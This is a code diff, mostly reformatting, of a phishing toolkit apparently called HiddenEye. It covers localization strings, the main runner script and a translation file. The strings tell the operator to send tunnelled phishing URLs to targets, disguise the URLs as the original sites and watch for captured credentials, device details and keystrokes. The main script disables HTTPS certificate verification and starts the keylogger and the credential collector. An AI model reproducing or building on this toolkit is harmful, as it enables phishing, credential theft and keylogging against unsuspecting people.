"{0}[{1}00{0}]{1}Localhost",
"{0}[{1}04{0}]{1}Localtunnel (not working now)"
],
[
"{0}[{1}01{0}]{1}Ngrok",
"{0}[{1}05{0}]{1}OpenPort (not working now)"
],
[
"{0}[{1}02{0}]{1}Serveo",
"{0}[{1}06{0}]{1}Pagekite (not working now)"
],
["{0}[{1}03{0}]{1}Localxpose (not working now)"],
],
} }
lang_start_localhost = { lang_start_localhost = {
"localhost_server" : _('\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "localhost_server":
"your_localhost_is" : _('Your Localhost is '), _("\n{0}[ LOCALHOST SERVER ]{1}! {0}\n-------------------------------").
"starting_server_on_addr" : _('\n[*] Starting Server On Address:: {0}:{1}'), format(default_palette[0], default_palette[2]),
"running_localhost_server" : _('\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "your_localhost_is":
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK').format(default_palette[0], default_palette[2]), _("Your Localhost is "),
"localhost_url" : _('\n{0}[{1}*{0}]{1} Localhost URL: {2}http://').format(default_palette[2], default_palette[3], default_palette[3]) "starting_server_on_addr":
_("\n[*] Starting Server On Address:: {0}:{1}"),
"running_localhost_server":
_("\n{0}[ RUNNING LOCALHOST SERVER ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"send_this_url_suggestion":
_("\n{0}[{1}!{0}]{1} SEND THIS URL TO TARGETS ON SAME NETWORK").format(
default_palette[0], default_palette[2]),
"localhost_url":
_("\n{0}[{1}*{0}]{1} Localhost URL: {2}http://").format(
default_palette[2], default_palette[3], default_palette[3]),
} }
lang_start_ngrok = { lang_start_ngrok = {
"ngrok_server" : _('\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "ngrok_server":
"send_this_url_suggestion" : _("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(default_palette[0], default_palette[2]), _("\n{0}[ NGROK SERVER ]{1}! {0}\n-------------------------------").format(
"ngrok_url" : _('\n{0}[{1}*{0}]{1} NGROK URL: {2}').format(default_palette[0], default_palette[2], default_palette[3]) default_palette[0], default_palette[2]),
"send_this_url_suggestion":
_("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO TARGETS").format(
default_palette[0], default_palette[2]),
"ngrok_url":
_("\n{0}[{1}*{0}]{1} NGROK URL: {2}").format(default_palette[0],
default_palette[2],
default_palette[3]),
} }
lang_start_serveo = { lang_start_serveo = {
"serveo_random_server" : _('\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "serveo_random_server":
"serveo_custom_server" : _('\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), _("\n{0}[ RANDOM SERVEO URL ]{1}! {0}\n-------------------------------"
"send_this_url_suggestion" : _('\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS').format(default_palette[0], default_palette[4]), ).format(default_palette[0], default_palette[2]),
"make_url_simmilar_to_real_suggestion" : _('\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.').format(default_palette[0], default_palette[4]), "serveo_custom_server":
"insert_custom_subdomain" : _('\n{0}Insert a custom subdomain for serveo').format(default_palette[0], default_palette[2]), _("\n{0}[ CUSTOM SERVEO URL ]{1}! {0}\n-------------------------------"
"serveo_url" : _('\n{0}[{1}*{0}]{1} SERVEO URL: {2}').format(default_palette[0], default_palette[4], default_palette[3]), ).format(default_palette[0], default_palette[2]),
"failed_to_get_domain" : _('\n{0}FAILED TO GET THIS DOMAIN.').format(default_palette[0]), "send_this_url_suggestion":
"suggestion_to_fix_issue" : _('\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE.').format(default_palette[0]), _("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO TARGETS").format(
"you_can_try_to_select_other_domain" : _('\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...').format(default_palette[0], default_palette[4]), default_palette[0], default_palette[4]),
"serveo_url_option_selection" : _('\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "make_url_simmilar_to_real_suggestion":
"serveo_phishing_warning" : _('\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful.').format(default_palette[0], default_palette[2]), _("\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO ORIGINAL.").format(
"choose_type_of_url" : _('\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}').format(default_palette[0], default_palette[2]), default_palette[0], default_palette[4]),
"url_types" : "insert_custom_subdomain":
[ ['{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)'], _("\n{0}Insert a custom subdomain for serveo").format(
['{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)'] ], default_palette[0], default_palette[2]),
"serveo_is_down" : _('{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}').format(default_palette[0], default_palette[2]) "serveo_url":
_("\n{0}[{1}*{0}]{1} SERVEO URL: {2}").format(default_palette[0],
default_palette[4],
default_palette[3]),
"failed_to_get_domain":
_("\n{0}FAILED TO GET THIS DOMAIN.").format(default_palette[0]),
"suggestion_to_fix_issue":
_("\n{0}CUSTOM URL MAY BE NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE."
).format(default_palette[0]),
"you_can_try_to_select_other_domain":
_("\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK)...").
format(default_palette[0], default_palette[4]),
"serveo_url_option_selection":
_("\n{0}[ SERVEO URL TYPE SELECTION ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2]),
"serveo_phishing_warning":
_("\n{0}[{1}!{0}]{1}Serveo Drops The Connection Whenever Detects Phishing. Be careful."
).format(default_palette[0], default_palette[2]),
"choose_type_of_url":
_("\n{0}[{1}*{0}]{0}CHOOSE SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}"
).format(default_palette[0], default_palette[2]),
"url_types": [
["{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url)"],
["{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)"],
],
"serveo_is_down":
_("{0}[{1}1{0}]Serveo is {1}DOWN{0} now, do you want to select another option? {1}Y{0}/{1}n{0}"
).format(default_palette[0], default_palette[2]),
} }
lang_start_localxpose = { lang_start_localxpose = {
"localxpose_random_server" : _('\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]) "localxpose_random_server":
_("\n{0}[ RANDOM LOCALXPOSE URL ]{1}! {0}\n-------------------------------"
).format(default_palette[0], default_palette[2])
} }

View File

@ -4,16 +4,12 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
import Defs.ThemeManager.theme as theme import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _ from Defs.LocalizationManager.localization import _
default_palette = theme.default_palette default_palette = theme.default_palette
text_to_confirm_license = _("Yes, i do")
text_to_confirm_license = _('Yes, i do')
write_eula = _(""" write_eula = _("""
# To Accept EULA set eula to True # To Accept EULA set eula to True
@ -22,61 +18,119 @@ write_eula = _("""
""") """)
lang_check_php = { lang_check_php = {
"found" : _('\n {0}[{1}*{0}] PHP has been found. Proceeding.').format(default_palette[0], default_palette[2]), "found":
"not-found" : _('\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.').format(default_palette[0], default_palette[2]) _("\n {0}[{1}*{0}] PHP has been found. Proceeding.").format(
default_palette[0], default_palette[2]),
"not-found":
_("\n {0}[{1}*{0}] Unable to find PHP, please install PHP and try again.").
format(default_palette[0], default_palette[2]),
} }
lang_check_permissions = { lang_check_permissions = {
"permissions_granted" : _('{0}Permissions granted!').format(default_palette[0]), "permissions_granted":
"permissions_denied" : _('{0}Permissions denied! Please run as {1}sudo{0}').format(default_palette[0], default_palette[2]), _("{0}Permissions granted!").format(default_palette[0]),
"windows_warning" : _("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system.").format(default_palette[0], default_palette[2]) "permissions_denied":
_("{0}Permissions denied! Please run as {1}sudo{0}").format(
default_palette[0], default_palette[2]),
"windows_warning":
_("\n{0}[{1}!{0}] {1}Windows systems {0}aren't compatible yet. Make sure you're using a {1}Linux/GNU{0} system."
).format(default_palette[0], default_palette[2]),
} }
lang_verify_connection = { lang_verify_connection = {
"connected" : _('\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]').format(default_palette[0], default_palette[2]), "connected":
"disconnected" : _('\n {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]').format(default_palette[0], default_palette[2]), _("\n {0}[{1}*{0}] INTERNET - {1}[CONNECTED]").format(
"verify_your_connection" : _('\n{0}[{1}!{0}] Network error. Please verify your internet connection.').format(default_palette[2], default_palette[0]) default_palette[0], default_palette[2]),
"disconnected":
_("\n {0}[{1}*{0}] INTERNET - {1}[DISCONNECTED]").format(
default_palette[0], default_palette[2]),
"verify_your_connection":
_("\n{0}[{1}!{0}] Network error. Please verify your internet connection.").
format(default_palette[2], default_palette[0]),
} }
lang_module_loading_message = { lang_module_loading_message = {
"is_loaded" : _('{0} IS LOADED...{0}\n--------------------------------').format(default_palette[0], default_palette[2]), "is_loaded":
"select_any_mode" : _('\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------').format(default_palette[0], default_palette[2]) _("{0} IS LOADED...{0}\n--------------------------------").format(
default_palette[0], default_palette[2]),
"select_any_mode":
_("\n {0}[{1}*{0}] SELECT ANY MODE...{0}\n--------------------------------"
).format(default_palette[0], default_palette[2]),
} }
lang_get_ip_addr = { lang_get_ip_addr = {"unable_to_get_ip": "Unable to get Hostname and IP"}
"unable_to_get_ip" : 'Unable to get Hostname and IP'
}
lang_port_selector = { lang_port_selector = {
"website_port_selection" : _('\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------').format(default_palette[0], default_palette[2]), "website_port_selection":
"select_any_available_port" : _("\n {0}[{1}*{0}]Select Port [1-65535]:{1}").format(default_palette[0], default_palette[4]), _("\n{0}[ WEBSERVER PORT SELECTION ]{1}! {0}\n-------------------------------"
"port_suggestion" : _('\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want.').format(default_palette[0], default_palette[4]) ).format(default_palette[0], default_palette[2]),
"select_any_available_port":
_("\n {0}[{1}*{0}]Select Port [1-65535]:{1}").format(
default_palette[0], default_palette[4]),
"port_suggestion":
_("\n {0}[{1}*{0} We suggest using ports between [{1}1024{0}-{1}65535{0}] but you still able to choose any ports you want."
).format(default_palette[0], default_palette[4]),
} }
lang_exit_message = { lang_exit_message = {
"choice" : _('\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}').format(default_palette[0], default_palette[4], default_palette[2]), "choice":
"help_to_improve_this_tool" : _('{1} [[*]] {0}You always can help to improve this tool and support us. {0}').format(default_palette[2], default_palette[0]), _("\n{0}[{1}?{0}] Re-run(r) : Exit(x) : Send Email(m) : SelectServer(s)\n\n >> {2}"
"tell_if_page_got_broken" : _('{0}[{1}!{0}] If any phishing page got broken, please let us know.').format(default_palette[2], default_palette[0]), ).format(default_palette[0], default_palette[4], default_palette[2]),
"make_your_pull_request_or_issue" : _('{0}[{1}!{0}] You can create issue or pull request on our GitHub page.').format(default_palette[2], default_palette[0]), "help_to_improve_this_tool":
"small_disclaimer_suggestion" : _("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use.").format(default_palette[2], default_palette[0]), _("{1} [[*]] {0}You always can help to improve this tool and support us. {0}"
"forum_suggestion" : _('{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help.').format(default_palette[2], default_palette[0]), ).format(default_palette[2], default_palette[0]),
"financial_support" : _("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)").format(default_palette[2], default_palette[0]), "tell_if_page_got_broken":
"thank_you" : _('{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!').format(default_palette[2], default_palette[0]) _("{0}[{1}!{0}] If any phishing page got broken, please let us know."
).format(default_palette[2], default_palette[0]),
"make_your_pull_request_or_issue":
_("{0}[{1}!{0}] You can create issue or pull request on our GitHub page.").
format(default_palette[2], default_palette[0]),
"small_disclaimer_suggestion":
_("{0}[{1}!{0}] We are not responsible for anything you do with this tool, please review license agreement when you have some time. \n{0}[{1}!{0}] We know everyone skips it and just agrees, but please, don't act so irresponsible with any software you use."
).format(default_palette[2], default_palette[0]),
"forum_suggestion":
_("{0}[{1}!{0}] Our website has forum, please visit it, we want to build great community for all of you, we are always happy to have your help."
).format(default_palette[2], default_palette[0]),
"financial_support":
_("{0}[{1}!{0}] If you want to support us with finances - visit our patreon page: (here_will_be_link_soon)"
).format(default_palette[2], default_palette[0]),
"thank_you":
_("{0}[{1}!{0}] You help us even when you just use this tool. Everyone at {1}DarkSec{0} happy to have you, thank you very much! Have a nice day!"
).format(default_palette[2], default_palette[0]),
} }
lang_credentials_collector = { lang_credentials_collector = {
"waiting_for_interaction" : _("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n").format(default_palette[0], default_palette[2], default_palette[4]), "waiting_for_interaction":
"credentials_found" : _('\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]), _("{0}[{1}*{0}]{1} Waiting For Target Interaction. Keep Eyes On Requests Coming From Target ... \n{2}________________________________________________________________________________\n"
"device_details_found" : _('\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n').format(default_palette[2], default_palette[3]), ).format(default_palette[0], default_palette[2], default_palette[4]),
"getting_pressed_keys" : _('\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n').format(default_palette[2], default_palette[3]) "credentials_found":
_("\n {0}[{1} CREDENTIALS FOUND {0}]{1}:\n").format(
default_palette[2], default_palette[3]),
"device_details_found":
_("\n {0}[{1} DEVICE DETAILS FOUND {0}]{1}:\n").format(
default_palette[2], default_palette[3]),
"getting_pressed_keys":
_("\n {1}[{0} GETTING PRESSED KEYS {1}]{1}:\n").format(
default_palette[2], default_palette[3]),
} }
lang_terms_of_service_message = { lang_terms_of_service_message = {
"great_power_great_responsibility" : _(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY ").format(default_palette[0], default_palette[2]), "great_power_great_responsibility":
"do_you_accept_license" : _("{0}Do you accept {1}license{0}?").format(default_palette[2], default_palette[0]), _(" {0}WITH GREAT POWER {1}- {0}COMES GREAT RESPONSIBILITY "
"enter_this_to_confirm" : _("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(default_palette[2], default_palette[0], text_to_confirm = text_to_confirm_license), ).format(default_palette[0], default_palette[2]),
"you_are_not_allowed" : _("{0}You are {1}not allowed {0}to use this app without accepting license.").format(default_palette[2], default_palette[0]), "do_you_accept_license":
"GPL_3.0" : _(""" _("{0}Do you accept {1}license{0}?").format(default_palette[2],
default_palette[0]),
"enter_this_to_confirm":
_("{0}Enter: {1}{text_to_confirm}{0} to confirm.").format(
default_palette[2],
default_palette[0],
text_to_confirm=text_to_confirm_license),
"you_are_not_allowed":
_("{0}You are {1}not allowed {0}to use this app without accepting license."
).format(default_palette[2], default_palette[0]),
"GPL_3.0":
_("""
GNU GENERAL PUBLIC LICENSE GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007 Version 3, 29 June 2007
@ -751,5 +805,5 @@ may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>. <https://www.gnu.org/licenses/why-not-lgpl.html>.
""") """),
} }

View File

@ -4,24 +4,26 @@
# This is free software, and you are welcome to redistribute it # This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details. # under certain conditions; you can read LICENSE for details.
# #
from os import system, environ import multiprocessing
import ssl
import sys
from os import environ
from os import system
import Defs.ActionManager.main_runner as main_runner import Defs.ActionManager.main_runner as main_runner
import Defs.FeatureManager.keylogger as keylogger
import Defs.FeatureManager.cloudflare as cloudflare
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.ActionManager.Server.server_runner as server_runner import Defs.ActionManager.Server.server_runner as server_runner
import Defs.ActionManager.simple_informant as simple_informant import Defs.ActionManager.simple_informant as simple_informant
import multiprocessing import Defs.FeatureManager.cloudflare as cloudflare
import sys import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import ssl import Defs.FeatureManager.keylogger as keylogger
simple_informant.license_handler() simple_informant.license_handler()
agreement = simple_informant.terms_of_service_message() agreement = simple_informant.terms_of_service_message()
if not agreement: if not agreement:
exit() exit()
if not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None): if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
ssl, "_create_unverified_context", None):
ssl._create_default_https_context = ssl._create_unverified_context ssl._create_default_https_context = ssl._create_unverified_context
simple_informant.check_permissions() simple_informant.check_permissions()
@ -47,10 +49,12 @@ if __name__ == "__main__":
server_runner.start_server(port) server_runner.start_server(port)
server_runner.server_selection(port) server_runner.server_selection(port)
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start() multiprocessing.Process(target=server_runner.start_server,
args=(port, )).start()
simple_informant.credentials_collector() simple_informant.credentials_collector()
except KeyboardInterrupt: except KeyboardInterrupt:
port = '8080' # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors) # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
port = "8080"
simple_informant.exit_message(port) simple_informant.exit_message(port)
exit() exit()

Binary file not shown.

View File

@ -1258,4 +1258,3 @@ msgid ""
"Public License instead of this License. But first, please read\n" "Public License instead of this License. But first, please read\n"
"<https://www.gnu.org/licenses/why-not-lgpl.html>.\n" "<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
msgstr "" msgstr ""